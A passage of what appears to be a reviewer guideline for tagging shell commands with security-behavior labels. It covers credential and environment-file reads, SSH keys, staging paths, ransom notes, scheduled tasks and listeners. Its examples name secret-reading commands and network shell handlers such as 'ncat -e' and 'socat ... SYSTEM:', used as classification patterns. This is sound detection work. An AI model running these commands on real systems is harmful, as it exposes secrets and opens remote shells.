| Path/content identifier | Only with operation evidence | Strong filenames, directory names, extensions, and option roles can classify the object of a visible read, write, search, mutate, transfer, or execute operation. They do not create an operation by themselves. |
|
| 99 |
+
| Tool name | No by itself | A binary name does not prove the operation; reviewers MUST inspect flags and operands. |
|
| 100 |
+
|
| 101 |
+
## Decision Procedure
|
| 102 |
+
|
| 103 |
+
For each row, reviewers MUST apply this order:
|
| 104 |
+
|
| 105 |
+
1. Parse the command into currently executed stages: separators, pipelines,
|
| 106 |
+
command substitutions, process substitutions, remote commands, container or
|
| 107 |
+
workload exec, chroot, and explicit shell `-c` boundaries.
|
| 108 |
+
2. Discard non-executed text: search patterns, printed strings, heredoc bodies
|
| 109 |
+
when merely written, filenames, comments, serialized payload values, and
|
| 110 |
+
future unit/cron/hook/config content.
|
| 111 |
+
3. Identify each stage's primary operation: read, enumerate, search, write,
|
| 112 |
+
mutate, execute, connect, probe, transfer, dump, import, backup, compress,
|
| 113 |
+
archive, schedule, or comparable visible behavior.
|
| 114 |
+
4. Select the most specific complete behavior tag for each independently visible
|
| 115 |
+
operation.
|
| 116 |
+
5. Add multiple tags only when the command line exposes multiple independent
|
| 117 |
+
operations.
|
| 118 |
+
6. Suppress generic parents when a specific child tag fully covers the behavior.
|
| 119 |
+
7. If no complete behavior is visible, emit `[]`.
|
| 120 |
+
8. If the row is ambiguous and no RFC principle decides it, preserve the
|
| 121 |
+
existing row during review and propose an RFC update first.
|
| 122 |
+
|
| 123 |
+
## Tagging Principles
|
| 124 |
+
|
| 125 |
+
### RFC-P1: Visible Operation
|
| 126 |
+
|
| 127 |
+
A tag MUST be based on visible current operation evidence, not on tool names,
|
| 128 |
+
reviewer expectation, or what the command might do after execution. Path
|
| 129 |
+
keywords, search strings, archive names, and other content identifiers do not
|
| 130 |
+
create behavior by themselves, but under RFC-P5 they can classify the object of
|
| 131 |
+
a visible read, search, write, archive, transfer, mutation, or enumeration.
|
| 132 |
+
|
| 133 |
+
### RFC-P2: Current Execution Boundary
|
| 134 |
+
|
| 135 |
+
Only behavior executed by the current command line is taggable as current
|
| 136 |
+
execution. Quoted commands, serialized payloads, search strings, cron entries,
|
| 137 |
+
unit files, package scripts, CI configs, Dockerfiles, and other persisted content
|
| 138 |
+
MUST NOT receive execution tags unless this command line also executes that
|
| 139 |
+
content now.
|
| 140 |
+
|
| 141 |
+
For explicit shell `-c` forms, only the command string operand is parsed as
|
| 142 |
+
current shell code. Later operands are shell positional parameters and MUST NOT
|
| 143 |
+
be treated as executed commands by themselves.
|
| 144 |
+
|
| 145 |
+
### RFC-P3: Independent Operation Composition
|
| 146 |
+
|
| 147 |
+
Multiple tags MUST correspond to independently visible operations. Shell syntax,
|
| 148 |
+
redirection, pipelines, wrappers, option parsing side effects, and destination
|
| 149 |
+
paths do not create additional behavior tags by themselves.
|
| 150 |
+
|
| 151 |
+
Rev20 has no generic file create/write/delete/copy/move behavior labels. File
|
| 152 |
+
operations MUST be represented only when the visible target has a retained
|
| 153 |
+
security semantic: content class, persistence entry point, permission/capability
|
| 154 |
+
change, critical path, hidden or temporary staging path, special filesystem node,
|
| 155 |
+
transfer direction, archive/compression operation, or domain-specific mutation.
|
| 156 |
+
Do not add a file-path behavior merely because another operation saves its
|
| 157 |
+
report, scan result, query result, rendered view, dump, or log output to a path
|
| 158 |
+
via `>`, `tee`, `-o`, `--output`, or a tool-specific output option. In those
|
| 159 |
+
cases, keep the primary semantic tag, such as scanning, probing, querying,
|
| 160 |
+
dumping, rendering, testing, or auditing.
|
| 161 |
+
|
| 162 |
+
### RFC-P4: Specificity
|
| 163 |
+
|
| 164 |
+
When a specific tag completely covers the visible behavior, reviewers MUST NOT
|
| 165 |
+
also add a generic parent tag. Generic tags are used only when no more specific
|
| 166 |
+
complete tag applies.
|
| 167 |
+
|
| 168 |
+
### RFC-P5: Source And Content Semantics
|
| 169 |
+
|
| 170 |
+
Read, search, log, credential, secret, and config tags MUST follow the visible
|
| 171 |
+
source, objective, and content class. Reviewers MUST judge the operator's
|
| 172 |
+
visible objective like a human reviewer: if a command actively searches for,
|
| 173 |
+
filters for, writes to, transfers, archives, extracts, or enumerates objects
|
| 174 |
+
identified by a strong content marker, that marker classifies the visible
|
| 175 |
+
operation even when no file content is displayed and even if the target file
|
| 176 |
+
would later be empty or nonexistent.
|
| 177 |
+
|
| 178 |
+
This is an intent-and-operation standard, not a literal byte-observation
|
| 179 |
+
standard. A reviewer SHOULD ask what a competent operator is visibly trying to
|
| 180 |
+
do from the command line. For example, `find / -name "*.conf"` is a search for
|
| 181 |
+
configuration files, `cat mysql.conf` is a configuration read, and an archive
|
| 182 |
+
named like a credential or database backup classifies that archive or transfer
|
| 183 |
+
operation. Do not refuse the semantic tag merely because the command output is
|
| 184 |
+
not shown in the corpus row.
|
| 185 |
+
|
| 186 |
+
Strong content identifiers include conventional config names and patterns such
|
| 187 |
+
as `*.conf`, `*.cnf`, `my.cnf`, `mysql.conf`, `mysqld.cnf`, `nginx.conf`,
|
| 188 |
+
`sshd_config`, and `kubeconfig`; credential names and patterns such as `.env`,
|
| 189 |
+
`id_rsa`, `authorized_keys`, `credentials`, `secret`, `token`, `keytab`, and
|
| 190 |
+
`private.key`; and log names such as `auth.log`, `audit.log`, and `syslog`.
|
| 191 |
+
Reviewers SHOULD use the strongest specific tag supported by the visible
|
| 192 |
+
operation and content identifier. Ambiguous or misspelled names MAY be used when
|
| 193 |
+
surrounding context makes the class clear, but MUST NOT override a more direct
|
| 194 |
+
tool operation.
|
| 195 |
+
Socket paths are service connection targets rather than configuration files.
|
| 196 |
+
Cloud or managed-platform instance-data files are cloud metadata. Package
|
| 197 |
+
manifests, lockfiles, and requirements files under repositories or dependency
|
| 198 |
+
trees are source/package content, not infrastructure configuration.
|
| 199 |
+
Compiled application artifacts such as `.jar`, `.war`, or release binaries are
|
| 200 |
+
not source-code reads by filename alone; content rendering or filtering of those
|
| 201 |
+
artifacts gets `read_source_code` only when source, manifest, or repository
|
| 202 |
+
content is otherwise visible.
|
| 203 |
+
|
| 204 |
+
Environment files are a strict sensitive-content boundary. Paths named `.env`,
|
| 205 |
+
`*.env`, `*.env.*`, `process.env`, or comparable private environment dumps are
|
| 206 |
+
credential/sensitive material by default when their file content is visibly
|
| 207 |
+
read, searched, copied, archived, uploaded, downloaded, or otherwise
|
| 208 |
+
transferred. This default reflects normal Linux and application practice:
|
| 209 |
+
environment files commonly carry tokens, API keys, passwords, database URLs,
|
| 210 |
+
cloud credentials, and service secrets.
|
| 211 |
+
|
| 212 |
+
Reviewers MUST NOT downgrade visible environment-file content access to ordinary
|
| 213 |
+
business or infrastructure configuration merely because environment files can
|
| 214 |
+
also contain non-secret settings. Commands such as `cat .env`, `head .env`,
|
| 215 |
+
`grep ... .env`, `strings process.env`, `cp .env ...`, `tar ... .env`, or a
|
| 216 |
+
remote command visibly reading `.env` MUST include the applicable credential or
|
| 217 |
+
sensitive-content tag. A config tag may coexist only when the file's operational
|
| 218 |
+
configuration role is also materially visible; it MUST NOT replace
|
| 219 |
+
`read_credential_material`, `search_credentials`, `archive_sensitive_content`,
|
| 220 |
+
`upload_credential_material`, or `upload_sensitive_content`.
|
| 221 |
+
|
| 222 |
+
Narrow exceptions require positive evidence that the object is not secret
|
| 223 |
+
material, such as `.env.example`, committed defaults, documentation fixtures, or
|
| 224 |
+
a command that only writes a literal template without reading an existing
|
| 225 |
+
environment file. These exceptions should use ordinary config or source tags
|
| 226 |
+
only when their visible operation and target class support them; otherwise they
|
| 227 |
+
get no file-write fallback tag.
|
| 228 |
+
|
| 229 |
+
Ordinary service configuration files such as `my.cnf`, `mysql.conf`, and
|
| 230 |
+
`nginx.conf` remain configuration reads. Strongly credential-bearing config
|
| 231 |
+
files such as database client credential files, JAAS files, ACL files, and real
|
| 232 |
+
application DB connection configs add credential-material reads. Template,
|
| 233 |
+
example, and `.dist` config files do not add credential tags solely from the
|
| 234 |
+
filename.
|
| 235 |
+
|
| 236 |
+
Live environment-variable enumeration follows the same visible-objective
|
| 237 |
+
standard. Commands that print or filter live environment values use
|
| 238 |
+
`read_environment_variables`; filters or named variables such as `TOKEN`,
|
| 239 |
+
`SECRET`, `PASSWORD`, `API_KEY`, `PGPASSWORD`, `DATABASE_URL`, or `AWS_*` also
|
| 240 |
+
use the applicable credential-search, credential-material, or cloud-credential
|
| 241 |
+
tag. `env -u NAME command` only changes the child process environment and does
|
| 242 |
+
not read that variable's value.
|
| 243 |
+
|
| 244 |
+
Deleting visible credential material is a credential operation, not a generic
|
| 245 |
+
filesystem deletion. Removing targets such as `.env`, `id_rsa`,
|
| 246 |
+
`authorized_keys`, `credentials`, `secret`, `token`, `keytab`, `/etc/shadow`, or
|
| 247 |
+
credential bundles MUST use `delete_credential_material`. Removing unrelated
|
| 248 |
+
ordinary helper artifacts does not require an additional tag unless a more
|
| 249 |
+
specific retained semantic tag applies.
|
| 250 |
+
|
| 251 |
+
Copying or moving visible credential material MUST retain the source object's
|
| 252 |
+
credential/sensitive-content semantics when the vocabulary has a suitable tag.
|
| 253 |
+
Do not add any extra tag merely for local path movement.
|
| 254 |
+
Private-key paths such as `id_rsa`, `id_ed25519`, and `private.key` are
|
| 255 |
+
credential material when content is read, searched, transferred, or deleted.
|
| 256 |
+
Metadata-only actions such as `ls`, `stat`, `file`, `chmod`, `touch`, or
|
| 257 |
+
`chown` on those paths remain metadata or permission actions.
|
| 258 |
+
Special permission and file-attribute operations are classified by the metadata
|
| 259 |
+
being changed, not by target content. SUID/SGID bit setting, file capabilities,
|
| 260 |
+
ACL changes, and immutable or append-only `chattr` flags do not imply a content
|
| 261 |
+
read solely because the target path names credentials, logs, source code, or
|
| 262 |
+
configuration. Removing a SUID/SGID bit is generic permission modification unless
|
| 263 |
+
the vocabulary has a dedicated removal tag. Capability and immutable-attribute
|
| 264 |
+
removal use the dedicated removal tags. `search_world_writable_files` requires
|
| 265 |
+
world-writable predicates such as `-perm -0002`; generic `-writable` searches
|
| 266 |
+
only prove writability for the current effective user and should use
|
| 267 |
+
`enumerate_filesystem` when the command visibly enumerates matching paths.
|
| 268 |
+
|
| 269 |
+
Deleting live configuration files or repository-managed configuration files is
|
| 270 |
+
configuration or repository mutation. Deleting temporary config copies,
|
| 271 |
+
snapshots, generated bundles, or archive artifacts gets no extra label unless
|
| 272 |
+
another strong semantic class, such as credential material or logs, applies.
|
| 273 |
+
|
| 274 |
+
Positive search patterns and filters are first-class evidence for the search
|
| 275 |
+
objective only when rev20 has a retained tag for that objective. Searching for
|
| 276 |
+
credential stores or credential material such as `.ssh` directories, `.env`,
|
| 277 |
+
`id_rsa`, `authorized_keys`, private-key names, token/secret names, SUID or SGID
|
| 278 |
+
predicates, file capabilities, or world-writable predicates MUST receive the
|
| 279 |
+
applicable retained search tag. Content searches for credential markers such as
|
| 280 |
+
`password`, `secret`, `token`, `api_key`, or `keytab` also classify the search
|
| 281 |
+
objective as credential search. This does not imply the matched files were read
|
| 282 |
+
as semantic content unless the command also reads a visible source object.
|
| 283 |
+
Exclusion-only patterns, comments, and text that is merely printed or stored do
|
| 284 |
+
not define the search objective.
|
| 285 |
+
Authentication-log event phrases such as `Failed password`, `Accepted password`,
|
| 286 |
+
`Accepted publickey`, or `Invalid user` describe login outcomes and do not by
|
| 287 |
+
themselves define a credential-search objective when the visible source is an
|
| 288 |
+
auth log or journal. SSH policy field names such as `PasswordAuthentication`,
|
| 289 |
+
`PubkeyAuthentication`, and `PermitRootLogin` describe policy reads, not
|
| 290 |
+
credential-material searches.
|
| 291 |
+
Searching auth or audit logs for a credential-bearing path string, such as
|
| 292 |
+
`/home/user/.ssh/authorized_keys` or `id_ed25519`, reads the log source and does
|
| 293 |
+
not by itself read, discover, or search the referenced SSH key file content.
|
| 294 |
+
|
| 295 |
+
Configuration, log, source-code, and business-data searches have no generic
|
| 296 |
+
search tag in rev20. Filename discovery such as `find /etc -name '*.conf'`,
|
| 297 |
+
`locate '*.log'`, or `find /srv/app -name '*.py'` is filesystem enumeration
|
| 298 |
+
unless the filename also matches a retained sensitive-search class. Content
|
| 299 |
+
filtering such as `grep pattern /etc/app.conf`, `rg TODO /srv/repo`, or
|
| 300 |
+
`awk ... /var/log/auth.log` reads the visible source class and should use the
|
| 301 |
+
corresponding semantic read tag, such as config, source, business data, or log.
|
| 302 |
+
|
| 303 |
+
Rev20 has no generic search fallback label. Search and filter tools such as
|
| 304 |
+
`grep`, `find`, `awk`, `sed`, `rg`, `locate`, YARA, or comparable scanners MUST
|
| 305 |
+
use a retained search tag only when the visible target class has security
|
| 306 |
+
meaning, such as credential material, sensitive files, SUID/SGID files,
|
| 307 |
+
capability files, or world-writable files. Otherwise, use the semantic source
|
| 308 |
+
read tag when the source itself is visible and meaningful, such as logs,
|
| 309 |
+
configuration, source code, or business data. If neither a retained search
|
| 310 |
+
target nor a semantic source is visible, emit no search-related tag.
|
| 311 |
+
|
| 312 |
+
Destination paths and archive/container names classify the visible write,
|
| 313 |
+
archive, extract, transfer, or metadata operation they participate in. Writing
|
| 314 |
+
to a path named like a configuration file is a configuration mutation when the
|
| 315 |
+
write operation is visible. Listing, extracting, creating, uploading, or
|
| 316 |
+
downloading an archive or object named like a credential/config/log bundle
|
| 317 |
+
inherits the sensitive-content class for that archive operation. These names do
|
| 318 |
+
not by themselves prove direct reading of archive members or destination file
|
| 319 |
+
content unless the command also reads or extracts that object.
|
| 320 |
+
|
| 321 |
+
Content comparison, counting, joining, and formatting tools such as `diff`,
|
| 322 |
+
`cmp`, `comm`, `paste`, `join`, `wc`, `col`, and `column` visibly read their
|
| 323 |
+
input content. They MUST use the source's semantic read tag when one is visible;
|
| 324 |
+
they MUST NOT be reduced to `inspect_file_metadata` solely because they do not
|
| 325 |
+
modify files.
|
| 326 |
+
|
| 327 |
+
Path-shape and path-resolution tools such as `basename`, `dirname`, `realpath`,
|
| 328 |
+
and `readlink` inspect path strings or link targets. They use
|
| 329 |
+
`inspect_file_metadata` and MUST NOT inherit semantic content-read tags merely
|
| 330 |
+
from path names.
|
| 331 |
+
Resolving `/proc/<pid>/exe`, `/proc/<pid>/cwd`, `/proc/<pid>/root`, or the same
|
| 332 |
+
links under `/proc/self` is process runtime-attribute inspection, not a semantic
|
| 333 |
+
read of the executable, working directory, or root filesystem content.
|
| 334 |
+
|
| 335 |
+
SSH public authorization and trust material, such as `authorized_keys` and
|
| 336 |
+
`known_hosts`, is SSH policy content when visibly read or transferred. It MUST
|
| 337 |
+
NOT be labeled as credential material solely because it appears under an `.ssh`
|
| 338 |
+
path.
|
| 339 |
+
Counting, comparing, checksumming, or rendering `authorized_keys` reads SSH
|
| 340 |
+
policy content; appending, replacing, or installing its content modifies SSH
|
| 341 |
+
authorization. Metadata, ownership, security-context, or audit-watch changes on
|
| 342 |
+
the file do not modify SSH authorization unless scheduled key content is also
|
| 343 |
+
written or removed.
|
| 344 |
+
The `.ssh` directory itself is a strong sensitive boundary when the command
|
| 345 |
+
visibly lists its contents, searches it, copies it, archives it, uploads it, or
|
| 346 |
+
otherwise transfers it. Use SSH policy, credential, or sensitive-content tags
|
| 347 |
+
according to the visible child paths and operation. Directory-metadata-only
|
| 348 |
+
operations such as `stat ~/.ssh`, `lsattr -d ~/.ssh`, `chown ~/.ssh`, or
|
| 349 |
+
`chmod 700 ~/.ssh` remain metadata or permission actions and do not imply that
|
| 350 |
+
SSH key or policy content was read.
|
| 351 |
+
|
| 352 |
+
### RFC-P6: State Mutation Semantics
|
| 353 |
+
|
| 354 |
+
Persistent state changes, runtime state changes, scheduled task changes,
|
| 355 |
+
service enablement, verification material changes, permissions, and filesystem
|
| 356 |
+
transforms are distinct behaviors. Reviewers MUST choose the tag that matches
|
| 357 |
+
the visible mutation direction and target state, and MUST NOT infer adjacent
|
| 358 |
+
state changes that are not visible.
|
| 359 |
+
|
| 360 |
+
File-operation labels are security-semantic, not syscall-semantic. Reviewers
|
| 361 |
+
MUST NOT tag ordinary create/write/delete/copy/move mechanics unless the target
|
| 362 |
+
or content has a retained security meaning.
|
| 363 |
+
|
| 364 |
+
Use `write_ransom_note` when visible content or target naming shows a ransom,
|
| 365 |
+
recovery, encryption notice, payment demand, or extortion instruction being
|
| 366 |
+
written or appended. This tag does not require visible file encryption in the
|
| 367 |
+
same command and MUST NOT substitute for `encrypt_data` when encryption is
|
| 368 |
+
actually visible. Ordinary deployment notes, status markers, reports, and
|
| 369 |
+
support logs do not use this tag.
|
| 370 |
+
|
| 371 |
+
Local path deletion follows the deleted object's semantic class, not the
|
| 372 |
+
`rm`/`rmdir`/`unlink` mechanism. Use `delete_credential_material` for credential
|
| 373 |
+
material, `delete_audit_log`/`delete_system_log`/`delete_infrastructure_log`/
|
| 374 |
+
`delete_business_log` for logs, `delete_source_code` for source content,
|
| 375 |
+
`delete_scheduled_task` and `delete_systemd_unit` for concrete persistence
|
| 376 |
+
definitions, database/object-storage/container/cloud delete tags for their
|
| 377 |
+
domains, `modify_*_config` or policy-specific mutation tags for configuration
|
| 378 |
+
and authorization files, `modify_bootloader` for bootloader paths,
|
| 379 |
+
`modify_critical_system_path` for high-trust OS paths with no stronger tag, and
|
| 380 |
+
`wipe_storage` for broad destructive path removal such as root, boot, home, or
|
| 381 |
+
large service trees. Use `securely_delete_data` only for tools that visibly
|
| 382 |
+
overwrite or securely erase the target. Deleting ordinary temporary files,
|
| 383 |
+
reports, caches, packages, build artifacts, staging directories, or unknown
|
| 384 |
+
helper files gets no file-path behavior tag. Do not use temporary/hidden staging
|
| 385 |
+
tags for deletion-only commands.
|
| 386 |
+
|
| 387 |
+
Use `stage_temporary_path` only when the current command visibly writes,
|
| 388 |
+
creates, downloads, copies, extracts, archives, or generates retained content
|
| 389 |
+
into a temporary/user-writable staging location such as `/tmp`, `/var/tmp`,
|
| 390 |
+
`/dev/shm`, `/run/user/*`, or a comparable scratch path. The tag requires an
|
| 391 |
+
actual current write/stage destination. A temporary path that is only read,
|
| 392 |
+
executed, uploaded from, checked, deleted, mentioned in text, used as an input,
|
| 393 |
+
or used as a cookie/header/config operand is not enough.
|
| 394 |
+
|
| 395 |
+
Use `stage_hidden_path` only when the current command visibly writes, creates,
|
| 396 |
+
downloads, copies, extracts, archives, or generates retained content into a
|
| 397 |
+
hidden path component such as `/tmp/.cache`, `/dev/shm/.x`,
|
| 398 |
+
`.config/.hidden`, or a comparable dot-prefixed path. The hidden component must
|
| 399 |
+
be part of the current write/stage destination. A hidden path that is only read,
|
| 400 |
+
executed, uploaded from, checked, deleted, mentioned in future config text, or
|
| 401 |
+
used as an input is not enough.
|
| 402 |
+
|
| 403 |
+
Temporary/hidden staging tags are strict secondary tags. Do not use them for
|
| 404 |
+
ordinary reports, scan results, service-status captures, health-check output,
|
| 405 |
+
test reports, rendered manifests, process snapshots, database/query exports, or
|
| 406 |
+
other domain-specific outputs whose primary behavior is already represented by a
|
| 407 |
+
more specific tag, unless the command is clearly building a retained bundle,
|
| 408 |
+
payload, credential/config capture, or transfer staging artifact. Do not infer
|
| 409 |
+
the tags from future cron/systemd/hook payload text; tag the current file write
|
| 410 |
+
or persistence object only. Do not use them for well-known semantic dot paths
|
| 411 |
+
that have stronger tags, such as `.ssh/authorized_keys`, `.env`, repository
|
| 412 |
+
hooks, shell startup files, or package metadata.
|
| 413 |
+
|
| 414 |
+
Use `modify_critical_system_path` only as a fallback for writes, replacements,
|
| 415 |
+
deletions, or destructive edits under high-trust operating-system paths when no
|
| 416 |
+
more specific tag applies. Examples include `/etc`, `/boot`, `/usr/lib`, `/lib`,
|
| 417 |
+
`/usr/local/lib`, and comparable OS trust or load paths. Prefer stronger tags for
|
| 418 |
+
systemd units, cron/scheduled tasks, sudo/PAM/SSH policy, dynamic loader state,
|
| 419 |
+
library preload, shell startup, bootloader state, trust stores, kernel modules,
|
| 420 |
+
system executables, web scripts, and infrastructure or business configuration.
|
| 421 |
+
|
| 422 |
+
Use `create_special_filesystem_node` for explicit creation of FIFO, device, or
|
| 423 |
+
socket-like filesystem nodes with tools such as `mkfifo`, `mknod`, or equivalent
|
| 424 |
+
node-creation forms. Symlink operations keep `modify_symlink`.
|
| 425 |
+
|
| 426 |
+
Use `modify_repository_hook` for creating, replacing, editing, or deleting
|
| 427 |
+
repository execution hooks such as `.git/hooks/*`, server-side Git hooks, or
|
| 428 |
+
comparable VCS hook paths. Persisted hook payloads are future execution unless
|
| 429 |
+
the command also executes them now.
|
| 430 |
+
|
| 431 |
+
Use `modify_package_execution_hook` for creating, replacing, editing, or deleting
|
| 432 |
+
package-manager or build-system lifecycle hooks such as `package.json` scripts,
|
| 433 |
+
npm/yarn/pnpm lifecycle entries, Python package build hooks, Ruby gem hooks, or
|
| 434 |
+
comparable install/build/test hook definitions. Ordinary dependency version
|
| 435 |
+
changes use dependency tags, not hook tags.
|
| 436 |
+
|
| 437 |
+
Use `write_kernel_module_content` when module content is written, copied,
|
| 438 |
+
downloaded, built, or placed as a `.ko` artifact or under kernel module load
|
| 439 |
+
paths such as `/lib/modules`. Loading or unloading that module remains
|
| 440 |
+
`load_kernel_module` or `unload_kernel_module`.
|
| 441 |
+
|
| 442 |
+
Use `modify_trust_store` for mutations to trust roots or verification stores,
|
| 443 |
+
including system CA bundles, Java `cacerts`, NSS databases, GPG/APT/YUM trust
|
| 444 |
+
keyrings, container registry trust stores, and comparable certificate authority
|
| 445 |
+
or package-verification trust anchors. Standalone certificate/key/signature
|
| 446 |
+
material can remain `modify_verification_material` when it is not a trust store.
|
| 447 |
+
File-integrity baselines and databases, such as AIDE init/update outputs, are
|
| 448 |
+
verification material: initialization or update uses
|
| 449 |
+
`modify_verification_material`, while checks use `verify_artifact_integrity`.
|
| 450 |
+
|
| 451 |
+
### RFC-P7: Transfer And Query Semantics
|
| 452 |
+
|
| 453 |
+
Transfer tags require visible movement of content. Service health checks,
|
| 454 |
+
metrics queries, metadata reads, API probes, and session opens MUST use their
|
| 455 |
+
specific query/read/session tags rather than generic upload or download tags.
|
| 456 |
+
Upload/download direction and uploaded/downloaded content class MAY both be
|
| 457 |
+
tagged when both are visible.
|
| 458 |
+
|
| 459 |
+
Rev20 has no generic remote-service query label. HTTP, RPC, CLI, or API requests
|
| 460 |
+
MUST be classified by the concrete visible operation: probe, health query,
|
| 461 |
+
metrics read, content download, upload, mail operation, database/cache/object
|
| 462 |
+
storage query, cloud-control-plane read or mutation, workload or infrastructure
|
| 463 |
+
inspection, or another retained domain tag. Opaque remote/API reads with no
|
| 464 |
+
visible retained security target MUST NOT receive a placeholder query tag.
|
| 465 |
+
|
| 466 |
+
For HTTP clients, method and flags decide direction before URL shape. GET-style
|
| 467 |
+
requests that retrieve response bodies are downloads or domain reads when a
|
| 468 |
+
more specific domain tag applies. HEAD/spider forms are probes. Requests with
|
| 469 |
+
visible request bodies or mutating methods such as POST, PUT, PATCH, or DELETE
|
| 470 |
+
MUST NOT be labeled as downloads solely because the URL names a file.
|
| 471 |
+
|
| 472 |
+
### RFC-P8: Boundary Execution
|
| 473 |
+
|
| 474 |
+
Remote, container, workload, chroot, and multiplexer boundaries MUST be tagged
|
| 475 |
+
according to what the boundary actually does now. A boundary tag may coexist with
|
| 476 |
+
the nested behavior when the nested command is executed now. Sending input to a
|
| 477 |
+
multiplexer is not the same as directly executing that input in the current
|
| 478 |
+
command line.
|
| 479 |
+
Creating a multiplexer session, window, or pane with a command starts that
|
| 480 |
+
command now, so visible nested behavior may be added; attaching or sending keys
|
| 481 |
+
only changes or targets the multiplexer state unless execution is otherwise
|
| 482 |
+
visible in the same command line.
|
| 483 |
+
|
| 484 |
+
Listener command handlers such as `ncat -e ... -l` and `socat
|
| 485 |
+
TCP-LISTEN:... SYSTEM:...` or `UNIX-LISTEN:... SYSTEM:...` register future
|
| 486 |
+
per-connection behavior. Unless the same command line visibly triggers the
|
| 487 |
+
connection and handler execution now, reviewers MUST tag the listener, not the
|
| 488 |
+
handler's future side effects.
|
| 489 |
+
Proxy helpers that start an active proxy service are dynamic-proxy creation and
|
| 490 |
+
may also be network listeners; direct one-shot forwarding wrappers such as SSH
|
| 491 |
+
`ProxyCommand='ssh -W ...'` are connection behavior, not proxy creation. When an
|
| 492 |
+
active proxy is started with an explicit private-key path, the command also
|
| 493 |
+
reads credential material.
|
| 494 |
+
|
| 495 |
+
Privilege wrappers such as `sudo`, `doas`, and `pkexec` are execution wrappers,
|
| 496 |
+
not retained behavior tags. When they visibly run a command now, tag the nested
|
| 497 |
+
command's visible behavior and any concrete identity change, but do not add a
|
| 498 |
+
generic privilege-wrapper tag.
|
| 499 |
+
|
| 500 |
+
### RFC-P9: Domain-Specific Primary Operation
|
| 501 |
+
|
| 502 |
+
When a domain-specific operation is visible, such as object-storage transfer,
|
| 503 |
+
database dump/import, cloud credential read, cluster secret read, or package
|
| 504 |
+
verification material mutation, reviewers SHOULD use the domain-specific tag
|
| 505 |
+
instead of a less-specific file-path, HTTP, or process tag.
|
| 506 |
+
|
| 507 |
+
Process listing, tree, and search tools such as `ps`, `pstree`, `pgrep`, and
|
| 508 |
+
unfiltered or user-filtered `top`/`htop` MUST use `enumerate_processes`.
|
| 509 |
+
`top`/`htop` views pinned to explicit process IDs SHOULD use
|
| 510 |
+
`inspect_process_runtime_attributes`.
|
| 511 |
+
|
| 512 |
+
Open-file ownership tools such as `lsof` and `fuser` enumerate file, process,
|
| 513 |
+
or socket usage. Path operands to these tools MUST NOT be treated as semantic
|
| 514 |
+
content reads. `fuser -k` is process termination; signal `0` forms are
|
| 515 |
+
existence checks, not termination.
|
| 516 |
+
|
| 517 |
+
Account identity, access state, and authentication policy are separate. User
|
| 518 |
+
names, UIDs, home directories, and login shells are identity attributes. Account
|
| 519 |
+
lock/unlock/expiry state is user access state. Password aging/status policy read
|
| 520 |
+
by tools such as `chage -l` or `passwd -S` is authentication policy.
|
| 521 |
+
PAM file edits and authselect or pam-auth-update feature changes are PAM policy
|
| 522 |
+
modification. Local identity/auth cache cleanup such as `sss_cache -E` is cache
|
| 523 |
+
flush behavior, not authentication policy modification. Kubernetes and
|
| 524 |
+
OpenShift RBAC reconciliation or role grants use cluster auth-policy or cluster
|
| 525 |
+
privilege tags rather than local auth-policy tags.
|
| 526 |
+
When identity or auth data is queried through an explicit remote directory or
|
| 527 |
+
identity protocol such as LDAP, keep the identity/auth tag and also add the
|
| 528 |
+
matching connection-boundary tag. This companion rule is narrow: do not add a
|
| 529 |
+
generic connection tag to every database, broker, cache, cloud, or workload
|
| 530 |
+
domain operation solely because a remote endpoint is present. Self-principal
|
| 531 |
+
lookups such as `ldapwhoami` or `az account show` are current-identity
|
| 532 |
+
inspection, not generic identity enumeration. Reads of `sudo` group membership
|
| 533 |
+
or LDAP `sudoRole` objects add `read_sudo_policy` alongside identity tags.
|
| 534 |
+
|
| 535 |
+
Scheduled task tags are distinct by operation. Listing scheduled task names or
|
| 536 |
+
timer sets is enumeration. Reading concrete crontab, timer, or scheduled-task
|
| 537 |
+
unit content is `read_scheduled_task`. Explicitly running a scheduler entry,
|
| 538 |
+
timer, or scheduled-task script is `execute_scheduled_task`. Creating, editing,
|
| 539 |
+
replacing, removing, enabling, or disabling scheduled execution uses the
|
| 540 |
+
create/modify/delete scheduled-task tags according to the visible operation.
|
| 541 |
+
`crontab -l` reads concrete crontab content. `crontab FILE` and `crontab -`
|
| 542 |
+
install or replace scheduled execution; tag the schedule mutation, not the
|
| 543 |
+
future payload's behavior unless that payload is also executed now. Directory
|
| 544 |
+
listings of cron paths, `run-parts --list`/`--test`, and `systemctl list-timers`
|
| 545 |
+
enumerate scheduled tasks unless they also read task file contents.
|
| 546 |
+
Creating, replacing, editing, truncating, or removing concrete files under
|
| 547 |
+
cron task locations is scheduled-task management; metadata-only changes such as
|
| 548 |
+
chmod, chown, touch, mkdir, or rmdir stay permission, metadata, staging, or
|
| 549 |
+
critical-path behavior only when a retained specific tag applies.
|
| 550 |
+
`run-parts /etc/cron.*`, direct execution of files under concrete cron task
|
| 551 |
+
locations, and `systemctl start` or `restart` of `.timer` units are scheduled
|
| 552 |
+
task execution. Systemd `.timer` unit-file creation, replacement, editing,
|
| 553 |
+
deletion, masking, unmasking, enabling, disabling, or stopping is scheduled-task
|
| 554 |
+
management in addition to any systemd unit or service-state tag. Timer status,
|
| 555 |
+
show, and journal reads remain service inspection or log reads unless they read
|
| 556 |
+
timer unit content.
|
| 557 |
+
For non-timer systemd services, creating, replacing, editing, truncating, or
|
| 558 |
+
deleting concrete unit/drop-in content uses systemd-unit tags. `daemon-reload`
|
| 559 |
+
reloads manager state but is not itself unit content creation or editing.
|
| 560 |
+
`enable`, `disable`, `mask`, and `unmask` are service enablement operations;
|
| 561 |
+
`start`, `stop`, `restart`, and `try-restart` are service-state operations.
|
| 562 |
+
Service health, readiness, liveness, registration-probe, and status-notify
|
| 563 |
+
commands are not service-state modification unless they also start, stop,
|
| 564 |
+
restart, reload, enable, disable, mask, or unmask the service.
|
| 565 |
+
Starting, reloading, or controlling an infrastructure daemon with an explicit
|
| 566 |
+
config-file or config-directory operand also reads infrastructure configuration.
|
| 567 |
+
Commands that create or edit the config and then reload the service keep the
|
| 568 |
+
configuration mutation tag; do not add a separate config-read tag solely because
|
| 569 |
+
the service reloads after the write.
|
| 570 |
+
Kubernetes CronJob and external scheduler lifecycle commands follow the same
|
| 571 |
+
scheduled-task operation split: create, patch/update, delete, read/list, and
|
| 572 |
+
run/trigger map to scheduled-task creation, modification, deletion, read or
|
| 573 |
+
enumeration, and execution.
|
| 574 |
+
|
| 575 |
+
Local Kubernetes cluster lifecycle tags are separate from workload and cloud
|
| 576 |
+
resource tags. Creating or starting local minikube, kind, k3d, or kubeadm-based
|
| 577 |
+
clusters is `create_local_kubernetes_cluster`; checking local cluster status or
|
